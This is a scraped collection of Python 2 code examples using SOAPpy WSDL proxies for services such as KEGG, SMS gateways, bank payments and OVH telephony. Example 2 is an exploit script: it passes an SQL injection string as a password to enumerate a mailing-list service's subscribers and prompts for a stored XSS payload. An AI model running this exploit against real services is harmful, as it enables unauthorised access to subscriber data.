Exemplo n.º 1
0
    def __init__(self, name, url, verbose=True, lib="soappy"):
        """.. rubric:: Constructor

        :param str name: a name e.g. Kegg, Reactome, ...
        :param str url: the URL of the WSDL service
        :param bool verbose: prints informative messages

        The :attr:`serv` give  access to all WSDL functionalities of the service.

        The :attr:`methods` is an alias to self.serv.methods and returns 
        the list of functionalities.

        """
        assert lib in ["suds", "soappy"],\
            "library used to connect to the WSDL service must either sud or soappy (default)"
        super(WSDLService, self).__init__(name, url, verbose=verbose)

        #self.serv = SOAPProxy(self.url) # what's that ? can we access to a method directly ?
        logging.info("Initialising %s service (WSDL)" % self.name)

        try:
            #: attribute to access to the methods provided by this WSDL service
            if lib == "soappy":
                self.serv = WSDL.Proxy(self.url)
            elif lib == "suds":
                serv = WSDL.Proxy(self.url)
                from suds.client import Client
                self.suds = Client(self.url)
                self.serv = self.suds.service
                self.serv.methods = serv.methods.copy()
        except Exception, e:
            logging.error("Could not connect to the service %s " % self.url)
            raise Exception
Exemplo n.º 2
0
def run(options):
    """ run exploit
   """
    wsdl_file = "./ws.wsdl"
    sploit = "\\' OR 1=1;-- "

    _server = WSDL.Proxy(wsdl_file)

    if options.subscribers:
        # iterate until we get a null response
        idx = 1
        while True:
            ret = _server.getSubscriber("wsadmin", sploit, idx)
            if ret.paramValues == '':
                print '[!] Discovered %d subscribers' % (idx - 1)
                break

            print ret.paramValues
            idx += 1

    elif options.mlist:
        try:
            print '[!] Description field vulnerable to stored xss!'
            description = raw_input('[!] Enter mlist description: ')
        except:
            description = ''

        ret = _server.addMailinglist('wsadmin', sploit, options.mlist,
                                     description)
        if ret > 0: print '[!] Saved successfully'
        else: print '[!] Save unsuccessful'
Exemplo n.º 3
0
def Main():
    serv = WSDL.Proxy(kegg.Kegg.WSDL_URL)

    options, _ = MakeOpts().parse_args(sys.argv)
    assert options.enzyme_ec

    key = 'EC %s' % options.enzyme_ec
    enz_data = serv.bget(key)
    entry2fields_map = kegg_parser.ParsedKeggFile.FromKeggAPI(enz_data)
    field_map = entry2fields_map.get(key)
    enz = kegg_enzyme.Enzyme.FromEntryDict(key, field_map)

    gene_keys = []
    for org, gene_ids in enz.genes.iteritems():
        gene_keys.extend(['%s:%s' % (org, gid) for gid in gene_ids])

    genes_query = ' '.join(gene_keys)
    genes_data = serv.bget(genes_query)
    entry2fields_map = kegg_parser.ParsedKeggFile.FromKeggAPI(genes_data)
    genes = []
    for key in sorted(entry2fields_map.keys()):
        field_map = entry2fields_map[key]
        genes.append(kegg_gene.Gene.FromEntryDict(field_map))

    aa_sizes = np.array([g.aa_size for g in genes])
    enz_name = '(%s)' % enz.ec
    if enz.names:
        enz_name = '%s %s' % (enz.names[0], enz_name)
    mean_size = np.mean(aa_sizes)
    geom_mean_size = np.exp(np.mean(np.log(aa_sizes)))
    print 'Enzyme:', enz_name
    print 'Geometric Mean AA Size', geom_mean_size
    print 'Average AA Size', mean_size
    print 'Std Dev', np.std(aa_sizes)
def get_tree_taxa_taxonomy_worms(taxon):

    from SOAPpy import WSDL
    wsdlObjectWoRMS = WSDL.Proxy(
        'http://www.marinespecies.org/aphia.php?p=soap&wsdl=1')

    taxon_data = wsdlObjectWoRMS.getAphiaRecords(taxon.replace('_', ' '))
    if taxon_data == None:
        return {}

    taxon_id = taxon_data[0][
        'valid_AphiaID']  # there might be records that aren't valid - they point to the valid one though
    # call it again via the ID this time to make sure we've got the right one.
    taxon_data = wsdlObjectWoRMS.getAphiaRecordByID(taxon_id)
    # add data to taxonomy dictionary
    # get the taxonomy of this species
    classification = wsdlObjectWoRMS.getAphiaClassificationByID(taxon_id)
    # construct array
    tax_array = {}
    if (classification == ""):
        return {}
    # classification is a nested dictionary, so we need to iterate down it
    current_child = classification.child
    while True:
        tax_array[current_child.rank.lower()] = current_child.scientificname
        current_child = current_child.child
        if current_child == '':  # empty one is a string for some reason
            break
    return tax_array
 def send_sms_by_smpp(self, raise_exception=False):
     """
     Send SMS by the SMPP method
     """
     for p in self.gateway_id.property_ids:
         if p.type == 'user':
             login = p.value
         elif p.type == 'password':
             pwd = p.value
         elif p.type == 'sender':
             sender = p.value
         elif p.type == 'sms':
             account = p.value
     try:
         from SOAPpy import WSDL
     except:
         error_msg = "ERROR IMPORTING SOAPpy, if not installed, " \
             "please install it: e.g.: apt-get install python-soappy"
         _logger.error(error_msg)
         if raise_exception:
             raise except_orm('Error', error_msg)
         else:
             self.write({
                 'state': 'error',
                 'error': str(error_msg),
             })
         return
     try:
         _logger.info('enter sending process')
         soap = WSDL.Proxy(self.gateway_id.url)
         _logger.info('soap ok')
         message = ''
         if self.coding == '2':
             message = str(self.msg).decode('iso-8859-1').encode('utf8')
         elif self.coding == '1':
             message = str(self.msg)
         _logger.info(message)
         result = soap.\
             telephonySmsUserSend(str(login), str(pwd),
                                  str(account), str(sender),
                                  str(self.mobile), message,
                                  int(self.validity),
                                  int(self.classes),
                                  int(self.deferred),
                                  int(self.priority),
                                  int(self.coding),
                                  str(self.gateway_id.tag),
                                  int(self.gateway_id.nostop))
         _logger.info('sent')
         self.state = 'send'
         ### End of the new process ###
     except Exception, e:
         if raise_exception:
             raise except_orm('Error', e)
         else:
             self.write({
                 'state': 'error',
                 'error': str(e),
             })
Exemplo n.º 6
0
def cToF_WSDL(x):
    """Use WSDL file to access the web service"""
    proxy = WSDL.Proxy(WSDLFile)
    #proxy.soapproxy.config.debug = 1

    # NOTE.  The following line is workaround for SOAPpy namespace issue
    proxy.methods['CelciusToFahrenheit'].namespace = proxy.wsdl.targetNamespace
    return proxy.CelciusToFahrenheit(nCelcius=x)
Exemplo n.º 7
0
 def start(self):
     self.__proxy = WSDL.Proxy(self.wsdl)
     for name, method in self.__proxy.methods.items():
         bound_function = self._NamedProxyFunction(name, self.__proxy)
         setattr(self, name, bound_function)
         # Setup function type mask with conversions or None for each param
         for param in method.getInParameters():
             bound_function.append_type(_type_map.get(str(param.type[1])))
     return CompositeNode.start(self)
Exemplo n.º 8
0
 def __init__(self, sgaws_user, sgaws_pass):
     u, p = sgaws_user, sgaws_pass
     wsdlFileValidacion = 'http://{0}:{1}@ws.unl.edu.ec/sgaws/wsvalidacion/soap/api.wsdl'.format(
         u, p)
     wsdlFilePersonal = 'http://{0}:{1}@ws.unl.edu.ec/sgaws/wspersonal/soap/api.wsdl'.format(
         u, p)
     wsdlFileAcademica = 'http://{0}:{1}@ws.unl.edu.ec/sgaws/wsacademica/soap/api.wsdl'.format(
         u, p)
     wsdlFileInstitucional = 'http://{0}:{1}@ws.unl.edu.ec/sgaws/wsinstitucional/soap/api.wsdl'.format(
         u, p)
     myHTTPTransport.setAuthentication(u, p)
     self.wsvalidacion = WSDL.Proxy(wsdlFileValidacion,
                                    transport=myHTTPTransport)
     self.wspersonal = WSDL.Proxy(wsdlFilePersonal,
                                  transport=myHTTPTransport)
     self.wsacademica = WSDL.Proxy(wsdlFileAcademica,
                                   transport=myHTTPTransport)
     self.wsinstitucional = WSDL.Proxy(wsdlFileInstitucional,
                                       transport=myHTTPTransport)
Exemplo n.º 9
0
 def get_employee_status(self, userId):
     wsdlFile = "userinfoservice.wsdl" #can be URL of the wsdl, but downloading reduces transaction count
     myHTTPTransport.setAuthentication(self.wslogin, self.wspassword)
     server = WSDL.Proxy(wsdlFile, transport=myHTTPTransport)
     userCharacteristics = server.getI2A2Characteristics(userId)
     #0 is the characteristic for employees at Purdue, must be in the chars list
     if 0 in userCharacteristics:
         return True
     else:
         return False
Exemplo n.º 10
0
def check_vies(vat):
    '''
    Check VAT number for EU member state using the SOAP Service
    '''
    from SOAPpy import WSDL
    code = vat[:2]
    number = vat[2:]
    server = WSDL.Proxy(VIES_URL)
    res = server.checkVat(code, number)
    return bool(res['valid'])
Exemplo n.º 11
0
 def _check_queue(self, cr, uid, context=None):
     if context is None:
         context = {}
     queue_obj = self.pool.get('sms.smsclient.queue')
     history_obj = self.pool.get('sms.smsclient.history')
     sids = queue_obj.search(cr,
                             uid, [('state', '!=', 'send'),
                                   ('state', '!=', 'sending')],
                             limit=30,
                             context=context)
     queue_obj.write(cr, uid, sids, {'state': 'sending'}, context=context)
     error_ids = []
     sent_ids = []
     for sms in queue_obj.browse(cr, uid, sids, context=context):
         if sms.gateway_id.char_limit:
             if len(sms.msg) > 160:
                 error_ids.append(sms.id)
                 continue
         if sms.gateway_id.method == 'http':
             try:
                 urllib.urlopen(sms.name)
             except Exception, e:
                 raise orm.except_orm('Error', e)
         ### New Send Process OVH Dedicated ###
         ## Parameter Fetch ##
         if sms.gateway_id.method == 'smpp':
             for p in sms.gateway_id.property_ids:
                 if p.type == 'user':
                     login = p.value
                 elif p.type == 'password':
                     pwd = p.value
                 elif p.type == 'sender':
                     sender = p.value
                 elif p.type == 'sms':
                     account = p.value
             try:
                 soap = WSDL.Proxy(sms.gateway_id.url)
                 message = ''
                 if sms.coding == '2':
                     message = str(
                         sms.msg).decode('iso-8859-1').encode('utf8')
                 if sms.coding == '1':
                     message = str(sms.msg)
                 print message
                 print type(message)
                 result = soap.telephonySmsUserSend(
                     str(login), str(pwd), str(account), str(sender),
                     str(sms.mobile), message, int(sms.validity),
                     int(sms.classes), int(sms.deferred), int(sms.priority),
                     int(sms.coding), str(sms.gateway_id.tag),
                     int(sms.gateway_id.nostop))
                 ### End of the new process ###
             except Exception, e:
                 raise orm.except_orm('Error', e)
Exemplo n.º 12
0
 def settle_payment(self, order_id, ref_id):
     try:
         server = WSDL.Proxy(self.service_address)
         server.methods['bpSettleRequest'].namespace = self.namespace
         res = server.bpSettleRequest(terminalId=self.terminalId,
                                      userName=self.userName,
                                      userPassword=self.userPassword,
                                      orderId=order_id,
                                      saleOrderId=order_id,
                                      saleReferenceId=ref_id)
         return True, res
     except Exception as e:
         return False, e.message
Exemplo n.º 13
0
def init(prefetch=True):
    global serv
    serv = WSDL.Proxy(wsdl)
    if prefetch:
        print "KEGG Prefetching..."
        loadfileNameToID('prefetch_UNC.json')
        validIDs = [ID for ID in cache_nameToID.values() if ID]
        IDsToTitles(validIDs)
        allPathways = set()
        for ID in validIDs:
            allPathways.update(IDToPathways(ID))
        IDsToTitles(list(allPathways))
        print "  done"
Exemplo n.º 14
0
def getOnCallPhoneNum():
    # get next saturday's date
    satdate = getSatDate()

    # get the phone # of the on call - fallback if something wrong
    try:
        server = WSDL.Proxy(wsdlfile)
        oncall_phone_unsan = server.get_oncall_CM_phone(
            nearest_saturday=satdate).strip('-')
        d = re.compile(r'[^\d]+')
        oncall_current_phone = '+1' + d.sub('', oncall_phone_unsan)
    except:
        oncall_current_phone = fallback_phone
    return oncall_current_phone
Exemplo n.º 15
0
 def request_pay_ref(self,
                     order_id,
                     price,
                     call_back_address,
                     additional_data=None):
     """
     Request a key for payment
     @param order_id: Invoice Number or a unique long number
     @param price: long price
     @param call_back_address: website callback handler
     @param additional_data: additional data to send. max 100 chars
     @return: True and Ref number to send to client
     """
     if not isinstance(order_id, long):
         raise Exception('Invalid order_id! long type expected')
     if not isinstance(price, long):
         raise Exception('Invalid price! long type expected!')
     if not isinstance(call_back_address, str):
         raise Exception('Invalid call_back_address', 'str type expected')
     if additional_data is not None:
         if not isinstance(additional_data, str):
             raise Exception('Invalid additional_data! str Type expected!')
         if len(additional_data) > 99:
             raise Exception(
                 'additional_data is too long. max is 100 chars.')
     else:
         additional_data = ''
     local_date, local_time = self.__get_local_data__()
     try:
         server = WSDL.Proxy(self.service_address)
         server.methods['bpPayRequest'].namespace = self.namespace
         rid = server.bpPayRequest(terminalId=self.terminalId,
                                   userName=self.userName,
                                   userPassword=self.userPassword,
                                   orderId=order_id,
                                   amount=price,
                                   localDate=local_date,
                                   localTime=local_time,
                                   additionalData=additional_data,
                                   callBackUrl=call_back_address,
                                   payerId=0)
         if ',' in rid:
             return rid[2:]
         else:
             print rid
             return False
     except Exception as e:
         print e.message
         return False
Exemplo n.º 16
0
    def _check_queue(self):
        if self._context is None:
            self._context = {}
        queue_obj = self.env['sms.smsclient.queue']
        history_obj = self.env['sms.smsclient.history']
        sids = queue_obj.search([('state', '!=', 'send'),
                                 ('state', '!=', 'sending')],
                                limit=30)
        sids.write({'state': 'sending'})
        error_ids = []
        sent_ids = []

        for sms in sids:
            if sms.gateway_id.char_limit:
                if len(sms.msg) > 160:
                    error_ids.append(sms.id)
                    continue
            if sms.gateway_id.method == 'http':
                try:
                    urllib.urlopen(sms.name)
                except Exception, e:

                    raise UserError(_('Error %s') % (e))
            if sms.gateway_id.method == 'smpp':
                for p in sms.gateway_id.property_ids:
                    if p.type == 'user':
                        login = p.value
                    elif p.type == 'password':
                        pwd = p.value
                    elif p.type == 'sender':
                        sender = p.value
                    elif p.type == 'sms':
                        account = p.value
                try:
                    soap = WSDL.Proxy(sms.gateway_id.url)
                    message = ''
                    if sms.coding == '2':
                        message = str(
                            sms.msg).decode('iso-8859-1').encode('utf8')
                    if sms.coding == '1':
                        message = str(sms.msg)
                    result = soap.telephonySmsUserSend(
                        str(login), str(pwd), str(account), str(sender),
                        str(sms.mobile), message, int(sms.validity),
                        int(sms.classes), int(sms.deferred), int(sms.priority),
                        int(sms.coding), str(sms.gateway_id.tag),
                        int(sms.gateway_id.nostop))
                except Exception, e:
                    raise UserError(_('Error %s') % (e))
Exemplo n.º 17
0
    def _check_queue(self):

        queue_obj = self.env['sms.smsclient.queue']
        history_obj = self.env['sms.smsclient.history']
        sids = queue_obj.search([('state', '!=', 'send'),
                                 ('state', '!=', 'sending')],
                                limit=30)
        sids.write({'state': 'sending'})
        error_ids = []
        sent_ids = []
        for sms in sids:
            if len(sms.msg) > 160:
                error_ids.append(sms)
                continue
            if sms.gateway_id.method == 'http':
                try:
                    urllib.urlopen(sms.name)
                except Exception, e:
                    raise orm.except_orm('Error', e)
            ### New Send Process OVH Dedicated ###
            ## Parameter Fetch ##
            if sms.gateway_id.method == 'smpp':
                for p in sms.gateway_id.property_ids:
                    if p.type == 'user':
                        login = p.value
                    elif p.type == 'password':
                        pwd = p.value
                    elif p.type == 'sender':
                        sender = p.value
                    elif p.type == 'sms':
                        account = p.value
                try:
                    soap = WSDL.Proxy(sms.gateway_id.url)
                    result = soap.telephonySmsUserSend(str(login), str(pwd),
                                                       str(account),
                                                       str(sender),
                                                       str(sms.mobile),
                                                       str(sms.msg),
                                                       int(sms.validity),
                                                       int(sms.classes),
                                                       int(sms.deferred),
                                                       int(sms.priority),
                                                       int(sms.coding),
                                                       int(sms.nostop))
                    ### End of the new process ###
                except Exception, e:
                    raise orm.except_orm('Error', e)
Exemplo n.º 18
0
 def undo_payment(self, order_id, ref_id):
     if not isinstance(order_id, long):
         raise Exception('Invalid order_id. long type expected!')
     if not isinstance(ref_id, long):
         raise Exception('Invalid ref_id. long type expected!')
     try:
         server = WSDL.Proxy(self.service_address)
         server.methods['bpReversalRequest'].namespace = self.namespace
         res = server.bpReversalRequest(terminalId=self.terminalId,
                                        userName=self.userName,
                                        userPassword=self.userPassword,
                                        orderId=order_id,
                                        saleOrderId=order_id,
                                        saleReferenceId=ref_id)
         return True, res
     except Exception as e:
         return False, e.message
Exemplo n.º 19
0
    def click2dial(self, erp_number):
        res = super(PhoneCommon, self).click2dial(erp_number)
        if not erp_number:
            raise UserError(_('Missing phone number'))

        user = self.env.user
        if not user.ovh_billing_number:
            raise UserError(
                _('Missing OVH Billing Number on user %s') % user.name)

        if not user.ovh_calling_number:
            raise UserError(
                _('Missing OVH Calling Number on user %s') % user.name)

        if not user.ovh_click2call_login:
            raise UserError(
                _('Missing OVH Click2call Login on user %s') % user.name)

        if not user.ovh_click2call_password:
            raise UserError(
                _('Missing OVH Click2dial Password on user %s') % user.name)

        soap = WSDL.Proxy('https://www.ovh.com/soapi/soapi-re-1.63.wsdl')

        called_number = self.convert_to_dial_number(erp_number)
        _logger.debug(
            'Starting OVH telephonyClick2CallDo request with '
            'login = %s billing number = %s calling number = %s '
            'and called_number = %s', user.ovh_click2call_login,
            user.ovh_billing_number, user.ovh_calling_number, called_number)

        try:
            soap.telephonyClick2CallDo(user.ovh_click2call_login,
                                       user.ovh_click2call_password,
                                       user.ovh_calling_number, called_number,
                                       user.ovh_billing_number)
            _logger.info("OVH telephonyClick2CallDo successfull")

        except Exception, e:
            _logger.error("Error in the OVH telephonyClick2CallDo request")
            _logger.error("Here are the details of the error: '%s'",
                          unicode(e))
            raise UserError(
                _("Click to call to OVH failed.\nHere is the error: "
                  "'%s'") % unicode(e))
Exemplo n.º 20
0
 def verify_payment(self, order_id, ref_id):
     """
     After payment is Done you must call this method to verify it
     @param order_id: order id sent in the payment request method
     @param ref_id: Ref id sent from bank
     @return: True, Ref Number
     """
     try:
         server = WSDL.Proxy(self.service_address)
         server.methods['bpVerifyRequest'].namespace = self.namespace
         res = server.bpVerifyRequest(terminalId=self.terminalId,
                                      userName=self.userName,
                                      userPassword=self.userPassword,
                                      orderId=order_id,
                                      saleOrderId=order_id,
                                      saleReferenceId=ref_id)
         return True, res
     except Exception as e:
         return False, e.message
Exemplo n.º 21
0
        def __call(*args, **kwargs):
            """Set up environment then let parent class handle call.

            Raises AttributeError is method name is not found."""

            if not self.client.methods.has_key(name):
                raise AttributeError, name
            callinfo = self.client.methods[name]
            self.client.soapproxy.proxy = \
                            WSDL.SOAPAddress(callinfo.location)
            self.client.soapproxy.namespace = callinfo.namespace
            self.client.soapproxy.soapaction = callinfo.soapAction
            for x in range(3):
                try:
                    return self.client.soapproxy.__getattr__(name)(
                                    *args, **kwargs)
                except xml.sax._exceptions.SAXParseException, e:
                    time.sleep(1)
                    if x == 2:
                        raise xml.sax._exceptions.SAXParseException, e
Exemplo n.º 22
0
 def send_sms_by_smpp(self, raise_exception=False):
     """
     Send SMS by the SMPP method
     """
     for p in self.gateway_id.property_ids:
         if p.type == 'user':
             login = p.value
         elif p.type == 'password':
             pwd = p.value
         elif p.type == 'sender':
             sender = p.value
         elif p.type == 'sms':
             account = p.value
     try:
         soap = WSDL.Proxy(self.gateway_id.url)
         message = ''
         if self.coding == '2':
             message = str(self.msg).decode('iso-8859-1').encode('utf8')
         elif self.coding == '1':
             message = str(self.msg)
         result = soap.\
             telephonySmsUserSend(str(login), str(pwd),
                                  str(account), str(sender),
                                  str(self.mobile), message,
                                  int(self.validity),
                                  int(self.classes),
                                  int(self.deferred),
                                  int(self.priority),
                                  int(self.coding),
                                  str(self.gateway_id.tag),
                                  int(self.gateway_id.nostop))
         self.state = 'send'
         ### End of the new process ###
     except Exception, e:
         if raise_exception:
             raise except_orm('Error', e)
         else:
             self.write({
                         'state': 'error',
                         'error': str(e),
                         })
Exemplo n.º 23
0
def main():

    if (len(sys.argv) != 4):
        usage()
        sys.exit(2)

    wsdl_url = 'http://soap.search.msn.com/webservices.asmx?wsdl'
    server = WSDL.Proxy(wsdl_url)

    # search results are restricted to 250

    AppID = sys.argv[1]
    query = sys.argv[2]

    # number of results, currently not functional
    num_results = sys.argv[3]

    # always delivery 250 results
    # TODO use the num_results variable to deliver a certain amount of results
    for offset in (0, 50, 100, 150, 200):
        params = {
            'AppID': AppID,
            'Query': query,
            'CultureInfo': 'en-US',
            'SafeSearch': 'Off',
            'Requests': {
                'SourceRequest': {
                    'Source': 'Web',
                    'Offset': offset,
                    # Count is restricted to 50 results at once
                    'Count': 50,
                    'ResultFields': 'All',
                }
            }
        }

        server_results = server.Search(Request=params)
        results = server_results.Responses[0].Results[0]

        for a in range(len(results)):
            print results[a].Url
Exemplo n.º 24
0
def retrieve(table, fields_value, condi, d_from, d_to):
    """
		 retrieve's input values are, table name,
		 field value (e.g. fields = 'A,AID,TimeStamp,UID,W')
		 condition, from, to
	"""

    email = '*****@*****.**'
    password = '******'
    project_id = '154'
    table_name = table
    fields = fields_value
    condition = condi
    data_from = d_from
    data_to = d_to
    server = WSDL.Proxy(WSDLFILE)
    tables = "p_%s_%s" % (project_id, table_name)
    re_type = 'csv'
    csv = server.getData(email, password, fields, tables, condition, data_from,
                         data_to, re_type)
    return csv
Exemplo n.º 25
0
 def Worker(self):
     self.server = WSDL.Proxy(self.serverName + self.wsdlFile)
     self.login(self.username, self.passwd)
     while True:
         try:
             item = self.queue.get(block=True, timeout=0.2)
             if item is None:
                 print "Ending worker thread"
                 return
             func, args, kwds, callback = item
             if not self._working:
                 self._working=True
                 for cb in self.callbacks:
                     wx.CallAfter(cb,True)
         except Queue.Empty:
             if self._working:
                 self._working=False
                 for cb in self.callbacks:
                     wx.CallAfter(cb,False)
             continue
         ret = func(self, *args, **kwds)
         if callback is not None:
             callback(ret) 
Exemplo n.º 26
0
def main():
    config = ConfigParser.ConfigParser()
    config.read('config.ini')

    login = config.get('ovh', 'login')
    password = config.get('ovh', 'password')

    domains = []
    with open("domains", "r") as f:
        domains = f.read().splitlines()

    client = WSDL.Proxy(OVH_WSDL_URL)

    try:
        session = client.login(login, password)
        for domain in domains:
            result = client.domainCheck(session, domain)
            for info in result['item']:
                if info['predicate'] == 'is_available':
                    if info['value'] is True:
                        print('Domain %s is available' % domain)
    except Errors.Error, e:
        print(e)
Exemplo n.º 27
0
def run_request(serviceId, *args, **kw):
    srv = SERVICES[serviceId]
    srvReq = srv.instantiate(*args, **kw)
    user = SSDNRequest.AuthorizedUserType(**settings.SITE.bcss_user_params)
    service = SSDNRequest.ServiceRequestType(ServiceId=srv.name,
                                             Version='20090409',
                                             any_=srvReq)
    msg = SSDNRequest.RequestMessageType(Reference='123456789',
                                         TimeRequest='20110921T105230')
    context = SSDNRequest.RequestContextType(AuthorizedUser=user, Message=msg)
    req = SSDNRequest.SSDNRequest(RequestContext=context,
                                  ServiceRequest=[service])

    requestXML = SOAP_ENVELOPE % req2str(req)

    print requestXML
    if False:
        logger.info("Going to send request:\n%s", requestXML)
        proxy = WSDL.Proxy(wsdl_url)
        #~ proxy.soapproxy.config.dumpSOAPOut = 1
        #~ proxy.soapproxy.config.dumpSOAPIn = 1
        m = proxy.methods['sendXML']
        response = m(requestXML)
        logger.info("Got response:\n%s", response)
Exemplo n.º 28
0
from SOAPpy import WSDL
WSDLFILE = 'sensorbase2.wsdl'

server = WSDL.Proxy(WSDLFILE)

email = '*****@*****.**'
password = '******'
project_id = '85'
table_name = 'Debug'
fields = 'LOG'
tables = "p_%s_%s" % (project_id, table_name)
condition = 1
#condition = "UID = Thomas"
data_from = 0
data_to = 10000
re_type = 'csv'

csv = server.getData(email, password, fields, tables, condition, data_from,
                     data_to, re_type)
print csv
Exemplo n.º 29
0
import os
import sys
from SOAPpy import WSDL

siteid = "trythemall"
username = "******"
password = "******"

server_url = "http://localhost:8080"

login_url = server_url + "/sakai-axis/SakaiLogin.jws?wsdl"
script_url = server_url + "/sakai-axis/SakaiScript.jws?wsdl"

login_proxy = WSDL.SOAPProxy(login_url)
script_proxy = WSDL.SOAPProxy(script_url)

loginsoap = WSDL.SOAPProxy(login_url)
sessionid = loginsoap.login(username, password)

scriptsoap = WSDL.SOAPProxy(script_url)

usersfile = open("nobel_laureates.txt")
lines = usersfile.readlines()

for index, line in enumerate(lines):
    line = line.rstrip("\n")
    parts = line.split(",")

    if (index < 5):
        result = scriptsoap.addMemberToSiteWithRole(sessionid, siteid,
                                                    parts[0], "maintain")
    clientVersion = clientRevision[11:-2]
userAgent = 'EBI-Sample-Client/%s (%s; Python %s; %s) %s' % (
    clientVersion, os.path.basename( __file__ ),
    platform.python_version(), platform.system(),
    SOAPpy.Client.SOAPUserAgent()
)
# Function to return User-agent.
def SOAPUserAgent():
    return userAgent
# Redefine default User-agent function to return custom User-agent.
SOAPpy.Client.SOAPUserAgent = SOAPUserAgent
printDebugMessage('main', 'User-agent: ' + SOAPpy.Client.SOAPUserAgent(), 1)

# Create the service interface
printDebugMessage('main', 'WSDL: ' + options.WSDL, 1)
server = WSDL.Proxy(options.WSDL)

# Fix message namespace (not set from the WSDL).
for method in server.methods:
    if server.methods[method].namespace == None:
        server.methods[method].namespace = 'http://soap.jdispatcher.ebi.ac.uk'

# Configure HTTP proxy from OS environment (e.g. http_proxy="http://proxy.example.com:8080")
if os.environ.has_key('http_proxy'):
    http_proxy_conf = os.environ['http_proxy'].replace('http://', '')
elif os.environ.has_key('HTTP_PROXY'):
    http_proxy_conf = os.environ['HTTP_PROXY'].replace('http://', '')
else:
    http_proxy_conf = None
server.soapproxy.http_proxy = http_proxy_conf